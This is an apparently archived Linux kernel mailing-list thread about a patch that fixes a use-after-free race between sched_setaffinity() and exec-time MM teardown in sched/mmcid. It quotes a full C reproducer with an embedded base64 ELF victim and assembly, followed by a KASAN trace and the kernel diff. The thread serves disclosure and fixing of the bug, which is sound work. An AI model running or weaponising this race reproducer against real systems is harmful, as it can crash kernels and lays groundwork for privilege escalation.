_GNU_SOURCE > #include <errno.h> > #include <fcntl.h> > #include <poll.h> > #include <sched.h> > #include <signal.h> > #include <stdint.h> > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <sys/eventfd.h> > #include <sys/mman.h> > #include <sys/prctl.h> > #include <sys/stat.h> > #include <sys/syscall.h> > #include <sys/time.h> > #include <sys/types.h> > #include <sys/wait.h> > #include <time.h> > #include <unistd.h> > > #define DEFAULT_RUNTIME 180 > #define MAX_SETTERS 6 > #define READY_FD 3 > #define VICTIM_FD 4 > #define VICTIM_SIZE 848 > > /* 848-byte ET_EXEC produced from victim_min_execfd.S + victim_min.ld. */ > static const char victim_b64[] = > "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAsABAAAAAAABAAAAAAAAAABACAAAAAAAAAAAAAEAAOAAC" > "AEAABQAEAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAOAEAAAAAAAA4AQAAAAAAAAAQ" > "AAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAA" > "AAAAAABJieS4AQAAAL8DAAAASI01VAAAALoIAAAADwVIg/gIdTlMiedIgecAAOD/vgAAQAC4CwAA" > "AA8FuEIBAAC/BAAAAEiNNSgAAABIjRUpAAAARTHSQbgAEAAADwW4PAAAAL9/AAAADwX0kAEAAAAA" > "AAAAAAAAAAAAAAAgAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA" > "8f8AAAAAAAAAAAAAAAAAAAAACgAAAAAAAQAYAUAAAAAAAAAAAAAAAAAADgAAAAAAAQAgAUAAAAAA" > "AAAAAAAAAAAAFAAAAAAAAQAoAUAAAAAAAAAAAAAAAAAAGQAAABIAAQCwAEAAAAAAAGcAAAAAAAAA" > "AHZpY3RpbS5vAG9uZQBlbXB0eQBhcmd2AF9zdGFydAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRh" > "YgAuaW1hZ2UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" > "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAABwAAAAAAAACwAEAAAAAAALAAAAAAAAAAiAAA" > "AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAA4AQAA" > "AAAAAJAAAAAAAAAAAwAAAAUAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAA" > "AAAAyAEAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAA" > "AAAAAAAAAAAAAOgBAAAAAAAAIgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA="; > > struct setter_stats { > volatile unsigned long long attempts; > volatile unsigned long long successes; > volatile unsigned long long errors; > }; > > struct shared_state { > struct setter_stats setters[MAX_SETTERS]; > }; > > static int b64_value(unsigned char c) > { > if (c >= 'A' && c <= 'Z') > return c - 'A'; > if (c >= 'a' && c <= 'z') > return c - 'a' + 26; > if (c >= '0' && c <= '9') > return c - '0' + 52; > if (c == '+') > return 62; > if (c == '/') > return 63; > return -1; > } > > static int install_victim(void) > { > unsigned char out[VICTIM_SIZE]; > size_t i, n = 0; > unsigned int acc = 0, bits = 0; > int fd; > > for (i = 0; victim_b64[i] && victim_b64[i] != '='; i++) { > int v = b64_value((unsigned char)victim_b64[i]); > > if (v < 0) > continue; > acc = (acc << 6) | (unsigned int)v; > bits += 6; > if (bits >= 8) { > bits -= 8; > if (n == sizeof(out)) { > errno = EOVERFLOW; > return -1; > } > out[n++] = (unsigned char)(acc >> bits); > acc &= (1U << bits) - 1; > } > } > if (n != sizeof(out)) { > errno = EINVAL; > return -1; > } > fd = syscall(SYS_memfd_create, "sched-mmcid-victim", 0); > if (fd < 0) > return -1; > if (fd != VICTIM_FD) { > if (dup2(fd, VICTIM_FD) < 0) { > close(fd); > return -1; > } > close(fd); > fd = VICTIM_FD; > } > if (write(fd, out, n) != (ssize_t)n || fchmod(fd, 0700)) > return -1; > return 0; > } > > static int install_exec_counter(void) > { > int fd = eventfd(0, EFD_NONBLOCK); > > if (fd < 0) > return -1; > if (fd != READY_FD) { > if (dup2(fd, READY_FD) < 0) { > close(fd); > return -1; > } > close(fd); > } > return 0; > } > > static void pin_self(int cpu) > { > cpu_set_t mask; > > CPU_ZERO(&mask); > CPU_SET(cpu, &mask); > if (sched_setaffinity(0, sizeof(mask), &mask)) { > fprintf(stderr, "pin cpu%d: %s\n", cpu, strerror(errno)); > _exit(2); > } > } > > static void alarm_handler(int sig) > { > (void)sig; > } > > static void enable_irq_pressure(void) > { > struct sigaction sa = { .sa_handler = alarm_handler }; > struct itimerval timer = { > .it_interval = { .tv_sec = 0, .tv_usec = 31 }, > .it_value = { .tv_sec = 0, .tv_usec = 31 }, > }; > > sigemptyset(&sa.sa_mask); > sa.sa_flags = SA_RESTART; > if (sigaction(SIGALRM, &sa, NULL) || > setitimer(ITIMER_REAL, &timer, NULL)) > _exit(3); > } > > static int drain_exec_counter(unsigned long long *total) > { > uint64_t value; > > for (;;) { > ssize_t ret = read(READY_FD, &value, sizeof(value)); > > if (ret == sizeof(value)) { > *total += value; > continue; > } > if (ret < 0 && errno == EINTR) > continue; > if (ret < 0 && errno == EAGAIN) > return 0; > return -1; > } > } > > static int wait_for_first_exec(pid_t victim, unsigned long long *execs) > { > struct pollfd pfd = { .fd = READY_FD, .events = POLLIN }; > int status, ret; > > do { > ret = poll(&pfd, 1, 5000); > } while (ret < 0 && errno == EINTR); > if (ret != 1 || !(pfd.revents & POLLIN) || > drain_exec_counter(execs) || !*execs) > return -1; > ret = waitpid(victim, &status, WNOHANG); > if (ret == victim) { > errno = ECHILD; > return -1; > } > return ret < 0 ? -1 : 0; > } > > static void publish_stats(struct setter_stats *stats, > unsigned long long attempts, > unsigned long long successes, > unsigned long long errors) > { > __atomic_store_n(&stats->attempts, attempts, __ATOMIC_RELAXED); > __atomic_store_n(&stats->successes, successes, __ATOMIC_RELAXED); > __atomic_store_n(&stats->errors, errors, __ATOMIC_RELAXED); > } > > static void run_setter(pid_t victim, int cpu, int victim_a, int victim_b, > int index, time_t deadline, struct shared_state *state) > { > cpu_set_t one, two; > unsigned long long attempts = 0, successes = 0, errors = 0; > > prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); > pin_self(cpu); > enable_irq_pressure(); > CPU_ZERO(&one); > CPU_SET(victim_a, &one); > CPU_ZERO(&two); > CPU_SET(victim_a, &two); > CPU_SET(victim_b, &two); > while (time(NULL) < deadline) { > if (!syscall(SYS_sched_setaffinity, victim, sizeof(one), &one)) > successes++; > else > errors++; > attempts++; > if (!syscall(SYS_sched_setaffinity, victim, sizeof(two), &two)) > successes++; > else > errors++; > attempts++; > if (!(attempts & 0x3ff)) > publish_stats(&state->setters[index], attempts, > successes, errors); > } > publish_stats(&state->setters[index], attempts, successes, errors); > _exit(0); > } > > static void load_totals(struct shared_state *state, int nset, > unsigned long long *attempts, > unsigned long long *successes, > unsigned long long *errors) > { > int i; > > *attempts = *successes = *errors = 0; > for (i = 0; i < nset; i++) { > *attempts += __atomic_load_n(&state->setters[i].attempts, > __ATOMIC_RELAXED); > *successes += __atomic_load_n(&state->setters[i].successes, > __ATOMIC_RELAXED); > *errors += __atomic_load_n(&state->setters[i].errors, > __ATOMIC_RELAXED); > } > } > > static int wait_child(pid_t pid, int *status) > { > pid_t ret; > > do { > ret = waitpid(pid, status, 0); > } while (ret < 0 && errno == EINTR); > return ret == pid ? 0 : -1; > } > > int main(int argc, char **argv) > { > struct shared_state *state; > pid_t victim, setters[MAX_SETTERS]; > time_t deadline; > unsigned long long attempts = 0, successes = 0, errors = 0; > unsigned long long execs = 0, previous_execs, previous_successes = 0; > int cpus, runtime, victim_a, victim_b, nset, i, status; > int spawned = 0, failed = 0; > > setvbuf(stdout, NULL, _IONBF, 0); > setvbuf(stderr, NULL, _IONBF, 0); > cpus = (int)sysconf(_SC_NPROCESSORS_ONLN); > if (cpus < 4) { > fprintf(stderr, "need at least four online CPUs\n"); > return 1; > } > runtime = argc > 1 ? atoi(argv[1]) : DEFAULT_RUNTIME; > if (runtime <= 0) > runtime = DEFAULT_RUNTIME; > victim_a = cpus - 2; > victim_b = cpus - 1; > nset = victim_a < MAX_SETTERS ? victim_a : MAX_SETTERS; > state = mmap(NULL, sizeof(*state), PROT_READ | PROT_WRITE, > MAP_SHARED | MAP_ANONYMOUS, -1, 0); > if (state == MAP_FAILED) > return 1; > for (i = 0; i < MAX_SETTERS; i++) > setters[i] = -1; > if (install_exec_counter() || install_victim()) { > perror("install victim"); > return 1; > } > > victim = fork(); > if (!victim) { > cpu_set_t pinned; > char *const av[] = { "victim", NULL }; > char *const ev[] = { NULL }; > > prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); > CPU_ZERO(&pinned); > CPU_SET(victim_a, &pinned); > if (sched_setaffinity(0, sizeof(pinned), &pinned)) > _exit(4); > syscall(SYS_execveat, VICTIM_FD, "", av, ev, AT_EMPTY_PATH); > _exit(127); > } > if (victim < 0) > return 1; > if (wait_for_first_exec(victim, &execs)) { > perror("victim did not begin exec loop"); > failed = 1; > goto cleanup; > } > deadline = time(NULL) + runtime; > printf("[*] standalone minimal-exec race: runtime=%ds setters=%d\n", > runtime, nset); > printf("[*] victim starts on cpu%d; setters alternate {%d} and {%d,%d}\n", > victim_a, victim_a, victim_a, victim_b); > for (i = 0; i < nset; i++) { > setters[i] = fork(); > if (!setters[i]) > run_setter(victim, i, victim_a, victim_b, i, > deadline, state); > if (setters[i] < 0) { > perror("fork setter"); > failed = 1; > goto cleanup; > } > spawned++; > } > previous_execs = execs; > while (time(NULL) < deadline) { > struct timespec delay; > time_t remaining = deadline - time(NULL); > pid_t ret; > > ret = waitpid(victim, &status, WNOHANG); > if (ret == victim) { > fprintf(stderr, "victim exited early: status=0x%x\n", status); > victim = -1; > failed = 1; > goto cleanup; > } > if (ret < 0) { > perror("waitpid victim"); > failed = 1; > goto cleanup; > } > for (i = 0; i < spawned; i++) { > if (setters[i] < 0) > continue; > ret = waitpid(setters[i], &status, WNOHANG); > if (ret == setters[i]) { > setters[i] = -1; > if (time(NULL) < deadline || !WIFEXITED(status) || > WEXITSTATUS(status)) { > fprintf(stderr, > "setter %d exited early: status=0x%x\n", > i, status); > failed = 1; > goto cleanup; > } > } else if (ret < 0) { > perror("waitpid setter"); > failed = 1; > goto cleanup; > } > } > if (remaining <= 0) > break; > delay.tv_sec = remaining > 10 ? 10 : remaining; > delay.tv_nsec = 0; > while (nanosleep(&delay, &delay) && errno == EINTR) > ; > if (drain_exec_counter(&execs)) { > perror("read exec counter"); > failed = 1; > goto cleanup; > } > ret = waitpid(victim, &status, WNOHANG); > if (ret == victim) { > fprintf(stderr, "victim exited early: status=0x%x\n", status); > victim = -1; > failed = 1; > goto cleanup; > } > if (ret < 0) { > perror("waitpid victim"); > failed = 1; > goto cleanup; > } > load_totals(state, nset, &attempts, &successes, &errors); > if (execs == previous_execs) { > fprintf(stderr, "victim made no exec progress in window\n"); > failed = 1; > goto cleanup; > } > if (successes == previous_successes) { > fprintf(stderr, > "setters made no successful affinity progress in window\n"); > failed = 1; > goto cleanup; > } > printf("[*] progress: affinity_success=%llu attempts=%llu " > "errors=%llu execs=%llu\n", > successes, attempts, errors, execs); > previous_execs = execs; > previous_successes = successes; > } > for (i = 0; i < spawned; i++) { > if (setters[i] < 0) > continue; > if (wait_child(setters[i], &status) || !WIFEXITED(status) || > WEXITSTATUS(status)) { > fprintf(stderr, "setter %d failed: status=0x%x\n", i, status); > failed = 1; > } > setters[i] = -1; > } > load_totals(state, nset, &attempts, &successes, &errors); > if (!attempts || !successes || attempts != successes + errors) { > fprintf(stderr, "invalid affinity totals\n"); > failed = 1; > } > if (drain_exec_counter(&execs)) { > fprintf(stderr, "failed to read final exec progress\n"); > failed = 1; > } > if (kill(victim, SIGKILL)) { > perror("kill victim"); > failed = 1; > } else if (wait_child(victim, &status) || !WIFSIGNALED(status) || > WTERMSIG(status) != SIGKILL) { > fprintf(stderr, "unexpected victim status: 0x%x\n", status); > failed = 1; > } > victim = -1; > if (!failed) { > printf("[*] validated completion: affinity_success=%llu " > "attempts=%llu errors=%llu execs=%llu; no KASAN report\n", > successes, attempts, errors, execs); > return 0; > } > > cleanup: > for (i = 0; i < spawned; i++) { > if (setters[i] > 0) { > kill(setters[i], SIGKILL); > wait_child(setters[i], &status); > } > } > if (victim > 0) { > kill(victim, SIGKILL); > wait_child(victim, &status); > } > puts("[!] validation failed"); > return 1; > } > ``` > > The embedded victim source and linker script follow. > > `victim_min_execfd.S`: > > ```asm > .section .text > .global _start > .type _start,@function > _start: > mov %rsp, %r12 > > /* Count this instance through the inherited eventfd. */ > mov $1, %eax > mov $3, %edi > lea one(%rip), %rsi > mov $8, %edx > syscall > cmp $8, %rax > jne .Lexit > > /* Drop the stack and adjacent vDSO/vvar mappings before exec. */ > mov %r12, %rdi > and $-2097152, %rdi > mov $4194304, %esi > mov $11, %eax > syscall > > /* execveat(inherited_memfd_4, "", argv, NULL, AT_EMPTY_PATH). */ > mov $322, %eax > mov $4, %edi > lea empty(%rip), %rsi > lea argv(%rip), %rdx > xor %r10d, %r10d > mov $0x1000, %r8d > syscall > > .Lexit: > mov $60, %eax > mov $127, %edi > syscall > hlt > .size _start, .-_start > > .section .data > .align 8 > one: > .quad 1 > empty: > .byte 0 > .align 8 > argv: > .quad empty > .quad 0 > > .section .note.GNU-stack,"",@progbits > ``` > > `victim_min.ld`: > > ```ld > ENTRY(_start) > > PHDRS > { > image PT_LOAD FILEHDR PHDRS FLAGS(7); > stack PT_GNU_STACK FLAGS(6); > } > > SECTIONS > { > . = 0x400000 + SIZEOF_HEADERS; > .image : ALIGN(16) { > *(.text*) > *(.rodata*) > *(.data*) > *(.bss*) > } :image > /DISCARD/ : { *(.note*) *(.comment*) *(.eh_frame*) } > } > ``` > > The embedded image was built with GCC 16.2.1 and GNU ld 2.46.1: > > ```sh > gcc -c -nostdlib -o victim.o victim_min_execfd.S > ld -nostdlib -T victim_min.ld -o victim victim.o > test "$(stat -c %s victim)" = 848 > readelf -h -l -S victim > base64 -w 76 victim > ``` > > > Thanks, > Weiming > -- Mathieu Desnoyers EfficiOS Inc. https://www.efficios.com ^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates 2026-11-10 18:38 [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates Weiming Shi 2026-11-10 18:38 ` Weiming Shi @ 2026-11-10 18:45 ` Mathieu Desnoyers 1 sibling, 0 replies; 4+ messages in thread From: Mathieu Desnoyers @ 2026-11-10 18:45 UTC (permalink / raw) To: Weiming Shi, Kees Cook, Alexander Viro, Christian Brauner, Jan Kara, Ingo Molnar, Peter Zijlstra, Juri Lelli, Vincent Guittot, Dietmar Eggemann, Steven Rostedt, Ben Segall, Mel Gorman, Valentin Schneider, K Prateek Nayak, Thomas Gleixner Cc: linux-mm, linux-fsdevel, linux-kernel, Xiang Mei, stable, co+cab19e2ebe4d535a +CC tglx. On 2026-11-10 13:38, Weiming Shi wrote: > set_cpus_allowed_common() passes a remote task's p->mm to > mm_update_cpus_allowed() while holding p->pi_lock, but that lock did not > stabilize the pointer against MM replacement. A same-owner > sched_setaffinity() caller can therefore retain the old pointer while exec > replaces and frees it. On architectures which shoot down rather than > refcount lazy TLB MMs, exit_mm() and kthread_unuse_mm() have the same > lifetime gap. > > BUG: KASAN: slab-use-after-free in set_cpus_allowed_common > Read of size 4 at addr ffff888123155e4c by task poc/5132 > Call Trace: > set_cpus_allowed_common (kernel/sched/core.c:10835) > set_cpus_allowed_fair (kernel/sched/fair.c:10046) > __set_cpus_allowed_ptr_locked (kernel/sched/core.c:3224) > __set_cpus_allowed_ptr (kernel/sched/core.c:3258) > __sched_setaffinity (kernel/sched/syscalls.c:1161) > sched_setaffinity (kernel/sched/syscalls.c:1239) > __x64_sys_sched_setaffinity (kernel/sched/syscalls.c:1275) > do_syscall_64 (arch/x86/entry/syscall_64.c:84) > entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) > > Freed by task 5127: > kmem_cache_free (mm/slub.c:6757) > __mmput (kernel/fork.c:1204) > mmput (kernel/fork.c:1215) > setup_new_exec (fs/exec.c:1395) > load_elf_binary (fs/binfmt_elf.c:1024) > bprm_execve (fs/exec.c:1865) > do_execveat_common.isra.0 (fs/exec.c:1963) > __x64_sys_execveat (fs/exec.c:2047) > do_syscall_64 (arch/x86/entry/syscall_64.c:84) > entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) > > Kernel panic - not syncing: KASAN: panic_on_warn set ... > > Affinity paths hold p->pi_lock across the p->mm load and its complete use. > After publishing a replacement or NULL p->mm, take and release that same > lock before dropping the old MM reference. For an updater that is already > using the old pointer, the ordering is: > > affinity updater MM teardown > ---------------- ----------- > raw_spin_lock(&p->pi_lock) > mm = p->mm /* old_mm */ > p->mm = new_mm or NULL > raw_spin_lock(&p->pi_lock) > /* waits */ > mm_update_cpus_allowed(mm, mask) > raw_spin_unlock(&p->pi_lock) /* release */ > /* acquire succeeds */ > raw_spin_unlock(&p->pi_lock) > ... > mmput/mmdrop(old_mm) > > The teardown-side acquire cannot complete until an updater ordered before > it has released p->pi_lock, so old_mm remains alive throughout that > updater's access. If teardown is ordered first instead, its unlock is a > release that orders the preceding p->mm store before a later updater's lock > acquire. The later updater therefore observes new_mm or NULL. An updater > that acquired the lock before the store but has not loaded p->mm yet is > still ordered before the teardown-side acquisition; it may observe either > pointer, but teardown waits for its complete use before dropping old_mm. > > All runtime callers of set_cpus_allowed_common() hold p->pi_lock across > this access. The runqueue lock is not part of the p->mm lifetime ordering, > so the grace period only needs p->pi_lock. Place it after publication and > before the old reference drop in exec_mmap(), exit_mm(), and > kthread_unuse_mm(). The last two paths matter on architectures which shoot > down rather than refcount lazy TLB MMs. > > This change was developed with assistance from an LLM. > > Fixes: 7e019dcc470f ("sched: Improve cache locality of RSEQ concurrency IDs for intermittent workloads") > Cc: stable@vger.kernel.org > Reported-by: <co+cab19e2ebe4d535a@bugs.sh> > Signed-off-by: Weiming Shi <bestswngs@gmail.com> > --- > Changes in v3: > - Document the p->pi_lock grace period and acquire/release ordering. > - Use p->pi_lock directly and cover exit_mm() and kthread_unuse_mm(). > - Refresh the KASAN trace and provide a standalone reproducer in reply. > > Changes in v2: > - Replace the schedule-in deferral with an exec-side runqueue-lock barrier. > - Keep affinity expansions synchronous, including expansions narrowed before > the next schedule-in. > - Avoid changes to the MM-CID fork, exit, and scheduling state machine. > > fs/exec.c | 1 + > include/linux/sched.h | 2 ++ > kernel/exit.c | 1 + > kernel/kthread.c | 1 + > kernel/sched/core.c | 9 +++++++++ > 5 files changed, 14 insertions(+) > > diff --git a/fs/exec.c b/fs/exec.c > index 8d2b14e1d455..3196421cb81d 100644 > --- a/fs/exec.c > +++ b/fs/exec.c > @@ -905,6 +905,7 @@ static int exec_mmap(struct linux_binprm *bprm) > BUG_ON(active_mm != old_mm); > /* Defer teardown to setup_new_exec(), outside the exec locks. */ > bprm->old_mm = old_mm; > + sched_mm_cid_mm_barrier(tsk); > } else { > mmdrop_lazy_tlb(active_mm); > } > diff --git a/include/linux/sched.h b/include/linux/sched.h > index 1c93da75226e..f88ab0445be3 100644 > --- a/include/linux/sched.h > +++ b/include/linux/sched.h > @@ -2358,6 +2358,7 @@ static __always_inline void alloc_tag_restore(struct alloc_tag *tag, struct allo > #ifdef CONFIG_SCHED_MM_CID > void sched_mm_cid_before_execve(struct task_struct *t); > void sched_mm_cid_after_execve(struct task_struct *t); > +void sched_mm_cid_mm_barrier(struct task_struct *t); > void sched_mm_cid_exit(struct task_struct *t); > static __always_inline int task_mm_cid(struct task_struct *t) > { > @@ -2366,6 +2367,7 @@ static __always_inline int task_mm_cid(struct task_struct *t) > #else > static inline void sched_mm_cid_before_execve(struct task_struct *t) { } > static inline void sched_mm_cid_after_execve(struct task_struct *t) { } > +static inline void sched_mm_cid_mm_barrier(struct task_struct *t) { } > static inline void sched_mm_cid_exit(struct task_struct *t) { } > static __always_inline int task_mm_cid(struct task_struct *t) > { > diff --git a/kernel/exit.c b/kernel/exit.c > index d5e7bc2af804..5f9979d6216c 100644 > --- a/kernel/exit.c > +++ b/kernel/exit.c > @@ -582,6 +582,7 @@ static void exit_mm(void) > local_irq_enable(); > task_unlock(current); > mmap_read_unlock(mm); > + sched_mm_cid_mm_barrier(current); > mm_update_next_owner(mm); > mmput(mm); > if (test_thread_flag(TIF_MEMDIE)) > diff --git a/kernel/kthread.c b/kernel/kthread.c > index fdb8fb07f40b..e7b393cfdcee 100644 > --- a/kernel/kthread.c > +++ b/kernel/kthread.c > @@ -1682,6 +1682,7 @@ void kthread_unuse_mm(struct mm_struct *mm) > enter_lazy_tlb(mm, tsk); > local_irq_enable(); > task_unlock(tsk); > + sched_mm_cid_mm_barrier(tsk); > > mmdrop(mm); > } > diff --git a/kernel/sched/core.c b/kernel/sched/core.c > index 04b62c16fa8c..d78a174b5405 100644 > --- a/kernel/sched/core.c > +++ b/kernel/sched/core.c > @@ -11128,6 +11128,15 @@ void sched_mm_cid_after_execve(struct task_struct *t) > sched_mm_cid_fork(t); > } > > +/* > + * Pair with set_cpus_allowed_common()'s p->pi_lock critical section. Call > + * after publishing p->mm and before dropping the old MM reference. > + */ > +void sched_mm_cid_mm_barrier(struct task_struct *t) > +{ > + guard(raw_spinlock_irq)(&t->pi_lock); > +} > + > static void mm_cid_work_fn(struct work_struct *work) > { > struct mm_struct *mm = container_of(work, struct mm_struct, mm_cid.work); -- Mathieu Desnoyers EfficiOS Inc. https://www.efficios.com ^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-11-10 18:46 UTC | newest] Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed) -- links below jump to the message on this page -- 2026-11-10 18:38 [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates Weiming Shi 2026-11-10 18:38 ` Weiming Shi 2026-11-10 18:46 ` Mathieu Desnoyers 2026-11-10 18:45 ` Mathieu Desnoyers
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®